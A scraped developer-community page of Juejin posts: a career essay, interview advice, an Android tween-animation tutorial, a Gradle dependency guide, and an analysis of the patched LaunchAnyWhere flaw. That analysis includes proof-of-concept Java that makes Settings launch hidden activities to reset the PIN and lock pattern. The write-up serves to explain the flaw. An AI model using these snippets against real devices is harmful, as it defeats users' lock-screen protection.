注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

该写好代码吗?我也迷茫了

我在抖音上看到当当网创始人李国庆发了一条视频,感觉他说的挺有意思。 他说,作为企业中层管理者,该不该有自己的山头,用于自我保护,这让人很迷茫。 其实我也迷茫过。我猜测,我们迷茫的可能是同一件事。 程序员内部,曾经流传着这样几句圣经: 代码写的好,写得快,会像...
继续阅读 »

我在抖音上看到当当网创始人李国庆发了一条视频,感觉他说的挺有意思。


他说,作为企业中层管理者,该不该有自己的山头,用于自我保护,这让人很迷茫。


其实我也迷茫过。我猜测,我们迷茫的可能是同一件事。


程序员内部,曾经流传着这样几句圣经:



代码写的好,写得快,会像个闲人。代码有注释,逻辑清晰,任何人都能轻松取代你。


代码写的烂,只有自己能看懂,一次次救火,你反而会成为团队不可缺少的人才。



那么,问题来了:到底该把事情干好呢,还是不要干好呢?


这是一个问题吗?当然是往多快好省了做呀!


我以前的想法就是这样。


我做底层员工时,代码写的清晰简洁,高效严谨。有时候我会因为计算循环次数而费心设计。如果循环层数太多,我会先把关键数据放到Map里,后续可以直接取用。我也会关注代码的可读性,尽量少套几层循环,命名兼顾字符长度和表意指向,如果代码太多就抽离成一个方法函数,并且要在代码里注释清楚。而这些操作,在形成习惯之后,是不会影响开发效率的。反而在某些情况下,还会提高效率。因为不管逻辑多复杂,不管过去多久,一看就能懂,很容易排查问题和他人接手。


我做中层管理时,除了培养团队内每个员工都能做到上述标准外,让我投入很大精力的事情就是“去我化”。也就是通过手段、流程、文化做到团队自治。我在团队时,大家能很高效地完成工作。当我短时间内离开时,大家依然能依靠惯性维持高效的状态。


我的想法很单纯:不管我是一线开发,还是中层管理,我修炼的都是自己。当你具备一定的职场能力时,你就是值钱的。作为员工你能把手头的活干得又快又好,作为管理你能把团队管理得积极健康。这就是亮点。不要在意别人的看法,你只需要修炼自己。当你具备了这个能力,这里不适合你,好多地方都会求此类贤人若渴。


其实,后面慢慢发现,这种想法可能还值得商榷。


因为创业和打工的区别还是挺大的。


创业是给自己干,想干好是肯定的,谁都不愿意面对一团糟。


我看明朝的历史,建文帝朱允炆刚登基时,就想削弱其他藩王的势力,加强自己的权力。当建文帝打算办燕王朱棣时,朱棣就起兵造反,自己做了皇帝。我感觉朱棣其实是自卫。后来,感情朱棣当上皇帝的第一件事,也是继续削弱藩王的势力。其实,大家都一样。


打工就不一样了,干得好不好,不是你说了算,是你的上级领导说了算,周围同事说了算,规章制度说了算。


因此,扁鹊三兄弟的现象就出现了。


扁鹊大哥,医术最高,能预防病人生病。扁鹊二哥,医术很高,能消灭病症在萌芽阶段。到扁鹊这里,只能到人快死了,开刀扎针,救人于生死之间。但是,世人都称扁鹊为神医。


如果你的领导是一个技术型的,同时他还能对你的工作质量做一些审查,那么他对你的评价,可能还具有些客观性。


但是,如果你碰到的是一个行政型的领导,他不是很懂医术,那他就只能像看医生治病一样,觉得救治好了快要死的人,才是高人。而对于预防重症这类防患于未然的事情,他会觉得你在愚弄他。


事实上,不少中小企业的领导,多是行政型领导。他们常常以忠心于老板而被提拔。


因此,为了自己获得一些利益。有些人常常是先把大病整出来,然后再治好,以此来体现自己的价值。


老维修工建设管道,水管里流的是燃气,燃气管的作用是排废水。出了问题,来一批一批的新师傅,都解决不了,越弄越乱。结果老维修工一出手,就把问题解决了。老板觉得,哎呀,看,还得是我的老师傅管用。


相反,如果你把事情打理的井井有条,没有一丝风浪,就像扁鹊大哥一样,我都不得病,还养你干啥,随便换谁都可以。这样的话,往往你的结局就多是被领导忽视。


我有好几个大领导都在大会上说过:你请假一周,你的部门连给你打一个电话的都没有,这说明你平时疏于管理,对于团队没有一丝作用!


从业这么多年,见过各种现实,很讽刺,就像是笑话。有一个同事,给程序加了一个30秒后延时执行。后来,领导让他优化速度,他分4次,将30秒调到5秒。最后领导大喜,速度提高6倍,他被授予“超级工匠”的荣誉称号。


一个是领导的评价。还有一个是同事的评价。


我有一次,在自己的项目组里搞了个考核。考核的核心就是,干好了可以奖,干差了便会罚。我觉得这样挺好,避免伤了好人心,杜绝隧了闲人的意。结果因为其他项目组没有搞,所以我成了众矢之的。他为什么要搞?人家项目组都没有,就他多事,咱们不在他这里干了!


我想,国内的管理可能不是一种客观的结果制。而是另一种客观的”平衡制“。


就像是古代的科举,按照才学,按照成绩来说,状元每届多是江南的。但是,皇帝需要平衡,山西好久没有出个状元了,点一个吧。河南今年学子闹事,罢考,为了稳一稳人心,给一个吧。江南都这么多了,少一个没什么关系的。


他更多是要让各方都满意。一个”平衡“贯穿了整个古今现代的价值观。


有人遵循自己的内心做事,也有人遵循别人的内心做事。不管遵循哪一方,坚持就好,不要去轻易比较,各自有各自的付出和收获。


当路上都在逆行时,你会发现,其实是你在逆行。


作者:TF男孩
链接:https://juejin.cn/post/7224764099187966010
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

为什么面试聊得很好,转头却挂了?

了解校招、分享校招知识的学长来了! 四月中旬了,大家面试了几场? 大家有没有这样的感受:面试的时候和面试官聊得火热朝天,气味相投。 面完觉得自己稳了,已经在畅想入职事宜了,结果一封感谢信让人瞬间清醒。 不少同学应该有这样的经历。 学长也曾经有过:面试两小时,...
继续阅读 »

了解校招、分享校招知识的学长来了!


四月中旬了,大家面试了几场?


大家有没有这样的感受:面试的时候和面试官聊得火热朝天,气味相投。


面完觉得自己稳了,已经在畅想入职事宜了,结果一封感谢信让人瞬间清醒。


image.png


不少同学应该有这样的经历。


学长也曾经有过:面试两小时,自觉面试问题回答得不错,但是面试官只说:你回去等消息吧。


经历过面试的同学应该懂”回去等消息“这句话的杀伤力有多大。


在此也想先和那些面试多次但还是不通过的朋友说:千万别气馁!


找工作看能力,有时候也看运气,面试没有通过,这并不说明你不优秀。


所有,面试未通过,这其中的问题到底出在哪呢?


01 缺乏相关经验或技能


如果应聘者没有足够的经验或技能来完成职位要求,或者面试的时候没有展现自己的优势,那么失败很常见。


而面试官看重也许就是那些未展现的经验或技能,考察的是与岗位的匹配程度。


02 没有准备充分


每年学长遇到一些同学因为时间安排不当,没有任何了解就开投简历。


而被春招和毕业论文一起砸晕的同学更是昏头转向。


如果没有花足够的时间和精力来了解公司和职位,并准备回答常见的面试问题,那么可能表现不佳。


03 与招聘人员沟通不畅


在面试过程中,面试官真的非常看重沟通效果!


如果应聘者无法清晰地表达自己的想法,或者不能理解面试官的问题,那么可能会被认为不适合该职位。


04 缺乏信心或过度紧张


学长也很理解应届生的局促感,以及面对面试官的紧张。


image.png


但是如果面试场上感到非常紧张或缺乏自信,那么可能表现得不自然或不真诚。


好像,面试的时候需要表现得自信、大方,才能入面试官的眼。


05 不符合公司文化或价值观


企业文化,也成为考察面试者的一个利器。


如果应聘者的个人品格、行为或态度与公司文化或价值观不符,那么可能无法通过面试。


比如一个一心躺平的候选人,面对高压氛围,只会 Say goodbye。


image.png


06 其他候选人更加匹配


如果公司有其他候选人比应聘者更加匹配该职位,那么应聘者可能无法通过面试。


一个岗位,你会面对强劲的对手。


同样学历背景,但有工作经验比你丰富的;


工作经验都 OK,但有其他学历背景比你合适,或稳定性比你高的面试者。


经常有同学发帖吐槽面试经历:一场群面,只有 Ta 是普通本科生,其余人均 Top 学校研究生学历。


面试不容易,祝大家都能斩获心仪的 Offer!


作者:林行学长
链接:https://juejin.cn/post/7221131892426096701
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android补间动画

帧动画是通过连续播放图片来模拟动画效果,而补间动画开发者只需指定动画开始,以及动画结束"关键帧",而动画变化的"中间帧"则由系统计算并补齐! 1.补间动画的分类和Interpolator Andoird所支持的补间动画效果有如下这五种,或者说四种吧,第五种是...
继续阅读 »

帧动画是通过连续播放图片来模拟动画效果,而补间动画开发者只需指定动画开始,以及动画结束"关键帧",而动画变化的"中间帧"则由系统计算并补齐!



1.补间动画的分类和Interpolator


Andoird所支持的补间动画效果有如下这五种,或者说四种吧,第五种是前面几种的组合而已。




  • AlphaAnimation: 透明度渐变效果,创建时许指定开始以及结束透明度,还有动画的持续时间,透明度的变化范围(0,1),0是完全透明,1是完全不透明;对应<alpha/>标签!

  • ScaleAnimation:缩放渐变效果,创建时需指定开始以及结束的缩放比,以及缩放参考点,还有动画的持续时间;对应<scale/>标签!

  • TranslateAnimation:位移渐变效果,创建时指定起始以及结束位置,并指定动画的持续时间即可;对应<translate/>标签!

  • RotateAnimation:旋转渐变效果,创建时指定动画起始以及结束的旋转角度,以及动画持续时间和旋转的轴心;对应<rotate/>标签

  • AnimationSet:组合渐变,就是前面多种渐变的组合,对应<set/>标签



在开始讲解各种动画的用法之前,我们先要来讲解一个东西:Interpolator


用来控制动画的变化速度,可以理解成动画渲染器,当然我们也可以自己实现Interpolator接口,自行来控制动画的变化速度,而Android中已经为我们提供了五个可供选择的实现类:



  • LinearInterpolator:动画以均匀的速度改变

  • AccelerateInterpolator:在动画开始的地方改变速度较慢,然后开始加速

  • AccelerateDecelerateInterpolator:在动画开始、结束的地方改变速度较慢,中间时加速

  • CycleInterpolator:动画循环播放特定次数,变化速度按正弦曲线改变:Math.sin(2 * mCycles * Math.PI * input)

  • DecelerateInterpolator:在动画开始的地方改变速度较快,然后开始减速

  • AnticipateInterpolator:反向,先向相反方向改变一段再加速播放

  • AnticipateOvershootInterpolator:开始的时候向后然后向前甩一定值后返回最后的值

  • BounceInterpolator: 跳跃,快到目的值时值会跳跃,如目的值100,后面的值可能依次为85,77,70,80,90,100

  • OvershottInterpolator:回弹,最后超出目的值然后缓慢改变到目的值


2.各种动画的详细讲解


这里的android:duration都是动画的持续时间,单位是毫秒


1)AlphaAnimation(透明度渐变)


anim_alpha.xml


<alpha xmlns:android="http://schemas.android.com/apk/res/android"  
android:interpolator="@android:anim/accelerate_decelerate_interpolator"
android:fromAlpha="1.0"
android:toAlpha="0.1"
android:duration="2000"/>

属性解释:


fromAlpha :起始透明度toAlpha:结束透明度透明度的范围为:0-1,完全透明-完全不透明


2)ScaleAnimation(缩放渐变)


anim_scale.xml


<scale xmlns:android="http://schemas.android.com/apk/res/android"  
android:interpolator="@android:anim/accelerate_interpolator"
android:fromXScale="0.2"
android:toXScale="1.5"
android:fromYScale="0.2"
android:toYScale="1.5"
android:pivotX="50%"
android:pivotY="50%"
android:duration="2000"/>

属性解释:




  • fromXScale/fromYScale:沿着X轴/Y轴缩放的起始比例

  • toXScale/toYScale:沿着X轴/Y轴缩放的结束比例

  • pivotX/pivotY:缩放的中轴点X/Y坐标,即距离自身左边缘的位置,比如50%就是以图像的中心为中轴点



3)TranslateAnimation(位移渐变)


anim_translate.xml


<translate xmlns:android="http://schemas.android.com/apk/res/android"  
android:interpolator="@android:anim/accelerate_decelerate_interpolator"
android:fromXDelta="0"
android:toXDelta="320"
android:fromYDelta="0"
android:toYDelta="0"
android:duration="2000"/>

属性解释:




  • fromXDelta/fromYDelta:动画起始位置的X/Y坐标

  • toXDelta/toYDelta:动画结束位置的X/Y坐标



4)RotateAnimation(旋转渐变)


anim_rotate.xml


<rotate xmlns:android="http://schemas.android.com/apk/res/android"  
android:interpolator="@android:anim/accelerate_decelerate_interpolator"
android:fromDegrees="0"
android:toDegrees="360"
android:duration="1000"
android:repeatCount="1"
android:repeatMode="reverse"/>

属性解释:




  • fromDegrees/toDegrees:旋转的起始/结束角度

  • repeatCount:旋转的次数,默认值为0,代表一次,假如是其他值,比如3,则旋转4次另外,值为-1或者infinite时,表示动画永不停止

  • repeatMode:设置重复模式,默认restart,但只有当repeatCount大于0或者infinite或-1时才有效。还可以设置成reverse,表示偶数次显示动画时会做方向相反的运动!



5)AnimationSet(组合渐变)


非常简单,就是前面几个动画组合到一起而已


anim_set.xml


<set xmlns:android="http://schemas.android.com/apk/res/android"  
android:interpolator="@android:anim/decelerate_interpolator"
android:shareInterpolator="true" >

<scale
android:duration="2000"
android:fromXScale="0.2"
android:fromYScale="0.2"
android:pivotX="50%"
android:pivotY="50%"
android:toXScale="1.5"
android:toYScale="1.5" />

<rotate
android:duration="1000"
android:fromDegrees="0"
android:repeatCount="1"
android:repeatMode="reverse"
android:toDegrees="360" />

<translate
android:duration="2000"
android:fromXDelta="0"
android:fromYDelta="0"
android:toXDelta="320"
android:toYDelta="0" />

<alpha
android:duration="2000"
android:fromAlpha="1.0"
android:toAlpha="0.1" />

</set>

3.写个例子来体验下


好的,下面我们就用上面写的动画来写一个例子,让我们体会体会何为补间动画:首先来个简单的布局:activity_main.xml


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">

<Button
android:id="@+id/btn_alpha"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="透明度渐变" />

<Button
android:id="@+id/btn_scale"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="缩放渐变" />

<Button
android:id="@+id/btn_tran"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="位移渐变" />

<Button
android:id="@+id/btn_rotate"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="旋转渐变" />

<Button
android:id="@+id/btn_set"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="组合渐变" />

<ImageView
android:id="@+id/img_show"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_marginTop="48dp"
android:src="@mipmap/img_face" />

</LinearLayout>

好哒,接着到我们的MainActivity.java,同样非常简单,只需调用AnimationUtils.loadAnimation()加载动画,然后我们的View控件调用startAnimation开启动画即可。


public class MainActivity extends AppCompatActivity implements View.OnClickListener{

private Button btn_alpha;
private Button btn_scale;
private Button btn_tran;
private Button btn_rotate;
private Button btn_set;
private ImageView img_show;
private Animation animation = null;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
bindViews();
}

private void bindViews() {
btn_alpha = (Button) findViewById(R.id.btn_alpha);
btn_scale = (Button) findViewById(R.id.btn_scale);
btn_tran = (Button) findViewById(R.id.btn_tran);
btn_rotate = (Button) findViewById(R.id.btn_rotate);
btn_set = (Button) findViewById(R.id.btn_set);
img_show = (ImageView) findViewById(R.id.img_show);

btn_alpha.setOnClickListener(this);
btn_scale.setOnClickListener(this);
btn_tran.setOnClickListener(this);
btn_rotate.setOnClickListener(this);
btn_set.setOnClickListener(this);

}

@Override
public void onClick(View v) {
switch (v.getId()){
case R.id.btn_alpha:
animation = AnimationUtils.loadAnimation(this,
R.anim.anim_alpha);
img_show.startAnimation(animation);
break;
case R.id.btn_scale:
animation = AnimationUtils.loadAnimation(this,
R.anim.anim_scale);
img_show.startAnimation(animation);
break;
case R.id.btn_tran:
animation = AnimationUtils.loadAnimation(this,
R.anim.anim_translate);
img_show.startAnimation(animation);
break;
case R.id.btn_rotate:
animation = AnimationUtils.loadAnimation(this,
R.anim.anim_rotate);
img_show.startAnimation(animation);
break;
case R.id.btn_set:
animation = AnimationUtils.loadAnimation(this,
R.anim.anim_set);
img_show.startAnimation(animation);
break;
}
}
}

运行效果图



有点意思是吧,还不动手试试,改点东西,或者自由组合动画,做出酷炫的效果吧。


作者:向阳逐梦
链接:https://juejin.cn/post/7225604123008401465
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

launchAnyWhere: Activity组件权限绕过漏洞解析

前言 今年3月份,知名反病毒软件公司卡巴斯基实验室发布了一份关于中国电商平台拼多多的调查报告,称该平台的安装程序中含有恶意代码。这一消息引起了广泛的关注和讨论,也引发了人们对于拼多多平台安全性的担忧 作为技术开发人员,我看到了PDD对安卓OEM源码中的漏洞的...
继续阅读 »

前言


Screenshot_20230414163441298_com.ss.android.article.newsedit.jpg


今年3月份,知名反病毒软件公司卡巴斯基实验室发布了一份关于中国电商平台拼多多的调查报告,称该平台的安装程序中含有恶意代码。这一消息引起了广泛的关注和讨论,也引发了人们对于拼多多平台安全性的担忧


作为技术开发人员,我看到了PDD对安卓OEM源码中的漏洞的深入研究。



了解和学习Android漏洞原理有以下几个用处:





  • 提高应用安全性:通过了解漏洞原理,开发者可以更好地了解漏洞的产生机理,进而在应用开发过程中采取相应的安全措施,避免漏洞的产生,提高应用的安全性。




  • 提升应用质量:学习漏洞原理可以帮助开发者更好地理解 Android平台的工作原理,深入了解操作系统的内部机制,有助于开发高质量的应用程序。




  • 改善代码风格:学习漏洞原理可以帮助开发者更好地理解代码的运行方式和效果,从而提高代码的可读性和可维护性。




  • 了解安全防护技术:学习漏洞原理可以帮助开发者了解目前主流的安全防护技术,掌握安全防护的最佳实践,从而更好地保障应用程序的安全性。




总之,了解和学习Android漏洞原理可以帮助开发者更好地理解操作系统的内部机制,提高应用程序的安全性、质量和可维护性。


LaunchAnyWhere漏洞


这是一个AccountManagerService的漏洞,利用这个漏洞,我们可以任意调起任意未导出的Activity,突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3的安卓系统。



有些同学看到这里或许有些疑问,这个漏洞不是在Android4.3以后被解决了么?我想要说的是要了解startAnyWhere就需要了解它的历史,而LaunchAnyWhere漏洞可以说是它的一部分历史。



普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator. addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。


关于AccountManagerService


AccountManagerService同样也是系统服务之一,暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token,并且使用token调用一些网络服务。很多应用都提供了账号授权功能,比如微信、支付宝、邮件Google服务等等。


关于AccountManager的使用,可以参考Launchanywhere的Demo:github.com/stven0king/…


由于各家账户的登陆方法和token获取机制肯定存在差异,所以AccountManager的身份验证也被设计成可插件化的形式:由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI,接收用户名和密码;请求自己的认证服务器返回一个token;将token缓存给AccountManager


可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用:


添加账户页面.png


如果应用想要出现在这个页面里,应用需要声明一个账户认证服务AuthenticationService


<service android:name=".AuthenticationService"
android:exported="true"
android:enabled="true">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>

并在服务中提供一个Binder:


public class AuthenticationService extends Service {
private AuthenticationService.AccountAuthenticator mAuthenticator;
private AuthenticationService.AccountAuthenticator getAuthenticator() {
if (mAuthenticator == null)
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
return mAuthenticator;
}
@Override
public void onCreate() {
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
Log.d("tanzhenxing33", "onBind");
return getAuthenticator().getIBinder();
}
static class AccountAuthenticator extends AbstractAccountAuthenticator {
/****部分代码省略****/
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.d("tanzhenxing33", "addAccount: ");
return testBundle();
}
}
}

声明账号信息:authenticator.xml


<?xml version="1.0" encoding="utf-8"?>
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="com.tzx.launchanywhere"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
</account-authenticator>

漏洞原理


普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator.addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。


这个过程如图所示:


launchanywhere.png


我们可以将这个流程转化为一个比较简单的事实:



  • AppA请求添加一个特定类型的网络账号

  • 系统查询到AppB可以提供一个该类型的网络账号服务,系统向AppB发起请求

  • AppB返回了一个intent给系统,系统把intent转发给appA

  • AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity;

  • AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。


这种设计的本意是,AccountManagerService帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用,比如Settings,那么AppA能够调用起任意AppB指定的未导出Activity


如何利用


上文已经提到过,如果假设AppA是Settings,AppB是攻击程序。那么只要能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎么才能让Settings触发添加账户呢?如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登陆。
不过现在就放弃还太早,其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings,并给Intent带上特定的参数,即可让``Settings触发launchAnyWhere


Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

这个过程如图Step 0所示:


launchanywhere2.png


应用场景


主要的攻击对象还是应用中未导出的Activity,特别是包含了一些intenExtraActivity。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity,还是有一定利用空间的。比如攻击很多app未导出的webview,结合FakeID或者JavascriptInterface这类的浏览器漏洞就能造成代码注入执行。


重置pin码



  • 绕过pin码认证界面,直接重置手机系统pin码。


intent.setComponent(new ComponentName("com.android.settings","com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

重置锁屏


绕过原有的锁屏校验,直接重置手机的锁屏密码。


Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

漏洞修复


安卓4.4已经修复了这个漏洞,检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。
Android4.3源代码:androidxref.com/4.3_r2.1/xr…
Android4.4源代码:androidxref.com/4.4_r1/xref…
官网漏洞修复的Diff:android.googlesource.com/platform/fr…


diffcode.png


文章到这里就全部讲述完啦,若有其他需要交流的可以留言哦~!


作者:Stven_King
链接:https://juejin.cn/post/7225132351448186936
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android - 统一依赖管理(config.gradle)

前言 本文属于 《一款基于MVP架构的快速应用开发框架,kotlin版本》(注:此文章还在更新中,可先看看,敬请期待!) 的扩展文章,详细介绍在使用 LeoFastDevMvpKotlin 快速开发框架的时候,进行项目依赖管理的方法。 介绍 Android 依...
继续阅读 »

前言


本文属于 《一款基于MVP架构的快速应用开发框架,kotlin版本》(注:此文章还在更新中,可先看看,敬请期待!) 的扩展文章,详细介绍在使用 LeoFastDevMvpKotlin 快速开发框架的时候,进行项目依赖管理的方法。


介绍


Android 依赖统一管理距目前为止,博主一共知道有三种方法,分别是:




  1. 传统apply from的方式(也是本文想讲的一种方式):新建一个 「config.gradle」 文件,然后将项目中所有依赖写在里面,更新只需修改 「config.gradle」 文件内容,作用于所有module。

  2. buildSrc 方式:当运行 Gradle 时会检查项目中是否存在一个名为 buildSrc 的目录。然后 Gradle 会自动编译并测试这段代码,并将其放入构建脚本的类路径中, 对于多项目构建,只能有一个 buildSrc 目录,该目录必须位于根项目目录中, buildSrc 是 Gradle 项目根目录下的一个目录。

  3. Composing builds 方式:复合构建只是包含其他构建的构建. 在许多方面,复合构建类似于 Gradle 多项目构建,不同之处在于,它包括完整的 builds ,而不是包含单个 projects,总的来说,他有 buildSrc 方式的优点,同时更新不需要重新构建整个项目。



三种方式各有各的好,目前最完美的应该是第三种实现。但是这种方式不利于框架使用,因为它属于的是新建一个module,如果项目远程依赖了框架,默认也包含了这个 module。所以博主选择了第一种方式。以下文章也是围绕第一种方式进行讲解。


实现方式


实现这个统一依赖管理,拢共分三步,分别是:




  • 第一步:创建「config.gradle」 文件

  • 第二步:项目当中引入「config.gradle」

  • 第三步:在所有module的「build.gradle」当中添加依赖





  • 第一步:创建 「config.gradle」 文件


    首先将 Aandroid Studio 目录的Android格式修改为Project,然后再创建一个「config.gradle」的文件


    1681962514751.jpg


    然后我们编辑文章里面的内容,这里直接给出框架的代码出来(篇幅太长,省略部分代码):


    ext {
    /**
    * 基础配置 对应 build.gradle 当中 android 括号里面的值
    */
    android = [
    compileSdk : 32,
    minSdk : 21,
    targetSdk : 32,
    versionCode : 1,
    versionName : "1.0.0",
    testInstrumentationRunner: "androidx.test.runner.AndroidJUnitRunner",
    consumerProguardFiles : "consumer-rules.pro"

    ......
    ]

    /**
    * 版本号 包含每一个依赖的版本号,仅仅作用于下面的 dependencies
    */
    version = [
    coreKtx : "1.7.0",
    appcompat : "1.6.1",
    material : "1.8.0",
    constraintLayout : "2.1.3",
    navigationFragmentKtx: "2.3.5",
    navigationUiKtx : "2.3.5",
    junit : "4.13.2",
    testJunit : "1.1.5",
    espresso : "3.4.0",

    ......
    ]

    /**
    * 项目依赖 可根据项目增加删除,但是可不删除本文件里的,在 build.gradle 不写依赖即可
    * 因为MVP框架默认依赖的也在次文件中,建议只添加,不要删除
    */
    dependencies = [

    coreKtx : "androidx.core:core-ktx:$version.coreKtx",
    appcompat : "androidx.appcompat:appcompat:$version.appcompat",
    material : "com.google.android.material:material:$version.material",
    constraintLayout : "androidx.constraintlayout:constraintlayout:$version.constraintLayout",
    navigationFragmentKtx : "androidx.navigation:navigation-fragment-ktx:$version.navigationFragmentKtx",
    navigationUiKtx : "androidx.navigation:navigation-ui-ktx:$version.navigationUiKtx",
    junit : "junit:junit:$version.junit",
    testJunit : "androidx.test.ext:junit:$version.testJunit",
    espresso : "androidx.test.espresso:espresso-core:$version.espresso",

    ......
    ]
    }

    简单理解就是将所有的依赖,分成版本号以及依赖名两个数组的方式保存,所有都在这个文件统一管管理。用 ext 包裹三个数组:第一个是「build.gradle」Android 里面的,第二个是版本号,第三个是依赖的名字。依赖名字数组里面的依赖版本号通过 $ 关键字指代 version 数组里面的版本号




  • 第二步:项目当中引入 「config.gradle」


    将「config.gradle」文件引入项目当中,在项目的根目录的「build.gradle」文件(也就是刚刚新建的 「config.gradle」同目录下的),添加如下代码:


    apply from:"config.gradle"

    需要注意的的是,如果你是 AndroidStudio 4.0+ 那么你将看到这样的「build.gradle」文件


    // Top-level build file where you can add configuration options common to all sub-projects/modules.
    plugins {
    id 'com.android.application' version '7.2.2' apply false
    id 'com.android.library' version '7.2.2' apply false
    id 'org.jetbrains.kotlin.android' version '1.7.10' apply false
    }

    apply from:"config.gradle"

    相反,如果你是 AndroidStudio 4.0- 那么你将会看到这样的「build.gradle」文件



    apply from: "config.gradle"

    buildscript {
    ext.kotlin_version="1.7.10"
    repositories {
    maven { url "https://jitpack.io" }
    mavenCentral()
    google()
    }
    dependencies {
    classpath "com.android.tools.build:gradle:4.2.1"
    classpath 'com.jakewharton:butterknife-gradle-plugin:10.2.3'
    classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"

    // NOTE: Do not place your application dependencies here; they belong
    // in the individual module build.gradle files
    }
    }

    allprojects {
    repositories {
    maven { url "https://jitpack.io" }
    mavenCentral()
    google()
    }
    }

    task clean(type: Delete) {
    delete rootProject.buildDir
    }

    不过仅仅是两个文件里面的内容不一致,这个文件的位置是一样的,而且我们添加的引入代码也是一样的。可以说,这只是顺带提一嘴,实际上不影响我们实现统一依赖管理这个方式。




  • 第三步:在所有module的「build.gradle」当中添加依赖


    这一步是最重要的,我们完成了上面两步之后,只是做好了准备,现在我们需要将我们每一个module里面「build.gradle」文件里面的依赖指向「config.gradle」文件。也就是下图圈起来的 那两个「build.gradle」文件。


    Snipaste_2023-04-20_14-15-58.png


    因为我们第二步的时候已经在根目录引入了「config.gradle」,所以我们在「build.gradle」就可以指向「config.gradle」例如:



    implementation rootProject.ext.dependencies.coreKtx



    这一行,就指代了我们「config.gradle」文件里面的 dependencies 数组里面的 coreKtx 的内容。完整示例如下:


    plugins {
    id 'com.android.application'
    id 'org.jetbrains.kotlin.android'
    }
    android {
    namespace 'leo.dev.mvp.kt'
    // compileSdk 32
    compileSdk rootProject.ext.android.compileSdk

    defaultConfig {
    applicationId "leo.dev.mvp.kt"
    // minSdk 21
    // targetSdk 32
    // versionCode 1
    // versionName "1.0"
    //
    // testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"

    minSdk rootProject.ext.android.minSdk
    targetSdk rootProject.ext.android.targetSdk
    versionCode rootProject.ext.android.versionCode
    versionName rootProject.ext.android.versionName

    testInstrumentationRunner rootProject.ext.android.testInstrumentationRunner

    }

    ......
    }

    dependencies {

    implementation fileTree(include: ['*.jar'], dir: 'libs')

    // implementation 'androidx.core:core-ktx:1.7.0'
